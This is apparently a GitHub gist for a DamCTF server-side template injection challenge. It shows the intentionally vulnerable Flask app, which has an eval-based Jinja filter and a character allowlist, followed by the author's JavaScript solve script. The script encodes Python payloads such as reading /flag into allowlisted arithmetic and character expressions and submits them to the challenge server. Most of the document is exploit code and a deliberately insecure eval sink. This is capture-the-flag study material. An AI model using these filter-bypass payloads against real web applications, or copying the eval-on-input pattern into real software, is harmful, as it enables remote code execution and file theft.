Created
November 8, 2021 09:11
-
-
Save tovask/40cc4f901ddfcfdfd73c4c4e594392d5 to your computer and use it in GitHub Desktop.
DamCTF SSTI
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask, render_template, render_template_string, Response, request | |
import os | |
from check import detect_remove_hacks | |
from filters import * | |
server = Flask(__name__) | |
# Add filters to the jinja environment to add string | |
# manipulation capabilities | |
server.jinja_env.filters["u"] = uppercase | |
server.jinja_env.filters["l"] = lowercase | |
server.jinja_env.filters["b64d"] = b64d | |
server.jinja_env.filters["order"] = order | |
server.jinja_env.filters["ch"] = character | |
server.jinja_env.filters["e"] = e | |
@server.route("/") | |
@server.route("/<path>") | |
def index(path=""): | |
# Show app.py source code on homepage, even if not requested. | |
if path == "": | |
path = "app.py" | |
# Make this request hackproof, ensuring that only app.py is displayed. | |
elif not os.path.exists(path) or "/" in path or ".." in path: | |
path = "app.py" | |
# User requested app.py, show that. | |
with open(path, "r") as f: | |
return render_template("index.html", code=f.read()) | |
@server.route("/secure_translate/", methods=["GET", "POST"]) | |
def render_secure_translate(): | |
payload = request.args.get("payload", "secure_translate.html") | |
print(f"Payload Parsed: {payload}") | |
resp = render_template_string( | |
"""{% extends "secure_translate.html" %}{% block content %}<p>""" | |
+ str(detect_remove_hacks(payload)) | |
+ """</p><a href="/">Take Me Home</a>{% endblock %}""" | |
) | |
return Response(response=resp, status=200) | |
if __name__ == "__main__": | |
port = int(os.environ.get("PORT", 30069)) | |
server.run(host="0.0.0.0", port=port, debug=False) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from limit import is_within_bounds, get_golf_limit | |
def allowlist_check(payload, allowlist): | |
# Check against allowlist. | |
print(f"Starting Allowlist Check with {payload} and {allowlist}") | |
if set(payload) == set(allowlist) or set(payload) <= set(allowlist): | |
return payload | |
print(f"Failed Allowlist Check: {set(payload)} != {set(allowlist)}") | |
return "Failed Allowlist Check, payload-allowlist=" + str( | |
set(payload) - set(allowlist) | |
) | |
def detect_remove_hacks(payload): | |
# This effectively destroyes all web attack vectors. | |
print(f"Received Payload with length:{len(payload)}") | |
if not is_within_bounds(payload): | |
return f"Payload is too long for current length limit of {get_golf_limit()} at {len(payload)} characters. Try locally." | |
allowlist = [ | |
"c", | |
"{", | |
"}", | |
"d", | |
"6", | |
"l", | |
"(", | |
"b", | |
"o", | |
"r", | |
")", | |
'"', | |
"1", | |
"4", | |
"+", | |
"h", | |
"u", | |
"-", | |
"*", | |
"e", | |
"|", | |
"'", | |
] | |
payload = allowlist_check(payload, allowlist) | |
print(f"Allowlist Checked Payload -> {payload}") | |
return payload |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
def uppercase(x): | |
return x.upper() | |
def lowercase(x): | |
return x.lower() | |
def b64d(x): | |
return base64.b64decode(x) | |
def order(x): | |
return ord(x) | |
def character(x): | |
return chr(x) | |
def e(x): | |
# Security analysts reviewed this and said eval is unsafe (haters). | |
# They would not approve this as "hack proof" unless I add some | |
# checks to prevent easy exploits. | |
print(f"Evaluating: {x}") | |
forbidlist = [" ", "=", ";", "\n", ".globals", "exec"] | |
for y in forbidlist: | |
if y in x: | |
return "Eval Failed: Foridlist." | |
if x[0:4] == "open" or x[0:4] == "eval": | |
return "Not That Easy ;)" | |
try: | |
return eval(x) | |
except Exception as exc: | |
return f"Eval Failed: {exc}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
from rctf import golf | |
def get_golf_limit() -> int: | |
rctf_host = "https://damctf.xyz/" | |
challenge_id = "super-secure-translation-implementation" | |
ctf_start = 1636156800 | |
limit_function = lambda x: (x * 2) + 147 | |
limit = golf.calculate_limit(rctf_host, challenge_id, ctf_start, limit_function) | |
return limit | |
def is_within_bounds(payload: str) -> bool: | |
return len(payload) <= get_golf_limit() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*** | |
* | |
* Please note: it's a hacking code, needed to work one time, not to be beautiful... | |
* | |
**/ | |
var l=console.log; | |
// possible payloads... | |
payload="'\\x2fflag'" | |
payload="globals().get('__builtins__')" | |
payload="locals()" | |
payload="dir()" | |
payload="__builtins__" | |
payload="\topen('\\x2fflag').read()" | |
payload="y" | |
payload="forbidlist[1]" | |
payload="base64" | |
payload="__file__" | |
payload=btoa("\topen('\\x2fflag').read()") | |
payload="\teval('1+1')" | |
payload="\topen('\\x2fflag')" | |
payload="__import__('flask')" | |
payload="input()" | |
payload="\topen('\\x2fflag').read()" // <-- I achieved to this point on my own, the followings are after the event ended | |
payload="(open('/flag').read())" | |
// combined with other's idea, file objects can be unpacked since it can iterate over the lines in the file | |
payload='{*open("/flag")}' | |
{let t=payload;setTimeout(()=>l(t),200);} | |
mapping={ | |
"\x00" : "(1-1)", // 00 | |
"\t" : "(4+4+1)", // 09 | |
"\x0d" : "(14-1)", // 13 | |
" " : "(4*(4+4))", // 32 | |
"!" : "", // 33 | |
"\"" : "\"", // 34 | |
"#" : "(6*6-1)", // 35 | |
"$" : "(6*6)", // 36 | |
"%" : "(41-4)", // 37 | |
"&" : "", // 38 | |
"'" : "'", // 39 | |
"(" : "(", // 40 | |
")" : ")", // 41 | |
"*" : "*", // 42 | |
"+" : "+", // 43 | |
"," : "44", // 44 | |
"-" : "-", // 45 | |
"." : "46", // 46 | |
"/" : "(46+1)", // 47 | |
"0" : "(44+4)", // 48 | |
"1" : "1", // 49 | |
"2" : "(44+6)", // 50 | |
"3" : "(44+6+1)", // 51 | |
"4" : "4", // 52 | |
"5" : "(46+6+1)", // 53 | |
"6" : "6", // 54 | |
"7" : "(44+11)", // 55 | |
"8" : "(4*14)", // 56 | |
"9" : "(46+11)", // 57 | |
":" : "", // 58 | |
";" : "", // 59 | |
"<" : "", // 60 | |
"=" : "", // 61 | |
">" : "", // 62 | |
"?" : "(64-1)", // 63 | |
"@" : "64", // 64 | |
"A" : "(66-1)", // 65 | |
"B" : "66", // 66 | |
"C" : "(66+1)", // 67 | |
"D" : "(64+4)", // 68 | |
"E" : "", // 69 | |
"F" : "(66+4)", // 70 | |
"G" : "(66+4+1)", // 71 | |
"H" : "(66+6)", // 72 | |
"I" : "(66+6+1)", // 73 | |
"J" : "(66+4+4)", // 74 | |
"K" : "", // 75 | |
"L" : "", // 76 | |
"M" : "(11*6+11)", // 77 | |
"N" : "", // 78 | |
"O" : "", // 79 | |
"P" : "", // 80 | |
"Q" : "", // 81 | |
"R" : "", // 82 | |
"S" : "", // 83 | |
"T" : "(6*14)", // 84 | |
"U" : "", // 85 | |
"V" : "(46+41-1)", // 86 | |
"W" : "(46+41)", // 87 | |
"X" : "", // 88 | |
"Y" : "", // 89 | |
"Z" : "(16*6-6)", // 90 | |
"[" : "(61+44-14)", // 91 | |
"\\" : "(16*6-4)", // 92 | |
"]" : "(61+46-14)", // 93 | |
"^" : "", // 94 | |
"_" : "(16*6-1)", // 95 | |
"`" : "(16*6)", // 96 | |
"a" : "(16*6+1)", // 97 | |
"b" : "b", // 98 | |
"c" : "c", // 99 | |
"d" : "d", // 100 | |
"e" : "e", // 101 | |
//"f" : "(('e'|order)+1)", // 102 | |
"f" : "(61+41)", // 102 | |
"g" : "(114-11)", // 103 | |
"h" : "h", // 104 | |
"i" : "(111-6)", // 105 | |
"j" : "(116-6-4)", // 106 | |
"k" : "(111-4)", // 107 | |
"l" : "l", // 108 | |
"m" : "(111-1-1)", // 109 | |
"n" : "(111-1)", // 110 | |
"o" : "o", // 111 | |
"p" : "(111+1)", // 112 | |
"q" : "(111+6-4)", // 113 | |
"r" : "r", // 114 | |
"s" : "(116-1)", // 115 | |
"t" : "116", // 116 | |
"u" : "u", // 117 | |
"v" : "(114+4)", // 118 | |
"w" : "(114+4+1)", // 119 | |
"x" : "(114+6)", // 120 | |
"y" : "(11*11)", // 121 | |
"z" : "(116+6)", // 122 | |
"{" : "{", // 123 | |
"|" : "|", // 124 | |
"}" : "}", // 125 | |
"~" : "(116+6+4)", // 126 | |
} | |
// encode the payload | |
payload = payload.split("").map((c) => { | |
if(!mapping[c] || mapping[c]=="") | |
throw "no mapping for:"+c+" ("+c.charCodeAt(0)+")"; | |
if(mapping[c].length==1) | |
return mapping[c]=='\'' ? ("\""+mapping[c]+"\"") : ("'"+mapping[c]+"'"); // surround signle quote with double ones | |
return mapping[c]+"|ch"; | |
}).join(" + "); | |
// optimalizations: | |
payload = payload.replaceAll("+ (16*6+1)|ch +","+ (66-1)|ch|l +"); // a = lower(A) ...not really saves space, just fun... | |
payload = payload.replaceAll("' + '",""); // concat adjacent strings | |
payload = payload.replaceAll(/(?:^| )(.+) \+ \1(?: |$)/g, ' ($1)*(1+1) ') // repeated expressions replaced with multiplication | |
payload = payload.replaceAll(`'(' + "'"`,`"('"`); // single quote issues... | |
payload = payload.replaceAll(`"'" + ')'`,`"')"`); | |
payload = payload.replaceAll(`"'" + ')}'`,`"')}"`); | |
{let t=payload;setTimeout(()=>l(t),200);} | |
// wrap around with the eval filter | |
payload = "{{ (" + payload + ") | e }}"; | |
// remove the whitespaces that were only there to help readability while debugging | |
payload = payload.replaceAll(' ','').replaceAll('\n','').replaceAll('\r',''); | |
document.location="https://super-secure-translation-implementation.chals.damctf.xyz/secure_translate/?payload="+encodeURIComponent(payload); | |
l('length:', payload.length, '\npayload:\n', payload); | |
/* | |
// try if the POST method can help in some way ... not seems to work | |
if(document.forms.length<=0) | |
document.body.innerHTML+="<form method=post target=i enctype='multipart/form-data'><input name=payload ></form><iframe name=i>"; | |
document.querySelector('input').value=payload; | |
document.forms[0].submit(); | |
*/ | |
/* | |
// an attempt to see if base64 is useful for something ... not really | |
var b64_allowed_chars = [ | |
"c", | |
//"{", | |
//"}", | |
"d", | |
"6", | |
"l", | |
//"(", | |
"b", | |
"o", | |
"r", | |
//")", | |
//'"', | |
"1", | |
"4", | |
"+", | |
"h", | |
"u", | |
//"-", | |
//"*", | |
"e", | |
//"|", | |
//"'", | |
] | |
l('number of combinations:', b64_allowed_chars.length**4) | |
for(let c1 of b64_allowed_chars){ | |
for(let c2 of b64_allowed_chars){ | |
for(let c3 of b64_allowed_chars){ | |
for(let c4 of b64_allowed_chars){ | |
t=c1+c2+c3+c4; | |
c=atob(t); | |
if( /^[\x09\x0d\x20-\x7e]+$/.test(c) ){ | |
l(t,c); | |
} | |
} | |
} | |
} | |
}*/ | |
/* | |
// check if any of the built-in functions pass the filter: 'bool', 'chr' and 'ord' do | |
builtins = ["abs", "float", "lower", "round", "tojson", "attr", "forceescape", "map", "safe", "trim", "batch", "format", "max", "select", "truncate", "capitalize", "groupby", "min", "selectattr", "unique", "center", "indent", "pprint", "slice", "upper", "default", "int", "random", "sort", "urlencode", "dictsort", "join", "reject", "string", "urlize", "escape", "last", "rejectattr", "striptags", "wordcount", "filesizeformat", "length", "replace", "sum", "wordwrap", "first", "list", "reverse", "title", "xmlattr", "abs", "aiter", "all", "any", "anext", "ascii", "bin", "bool", "breakpoint", "bytearray", "bytes", "callable", "chr", "classmethod", "compile", "complex", "delattr", "dict", "dir", "divmod", "enumerate", "eval", "exec", "filter", "float", "format", "frozenset", "getattr", "globals", "hasattr", "hash", "help", "hex", "id", "input", "int", "isinstance", "issubclass", "iter", "len", "list", "locals", "map", "max", "memoryview", "min", "next", "object", "oct", "open", "ord", "pow", "print", "property", "range", "repr", "reversed", "round", "set", "setattr", "slice", "sorted", "staticmethod", "str", "sum", "super", "tuple", "type", "vars", "zip"]; | |
for(let f of builtins){ | |
if( /^[cd6lbor14hue]+$/.test(f) ){ | |
l(f); | |
} | |
} | |
//*/ | |
/* | |
// helper to generate the mapping dict | |
s=""; | |
for(let i=32; i<127; i++){ | |
s+='\t"'+String.fromCharCode(i)+'" : "", // '+i+"\n"; | |
} | |
console.log(s);*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment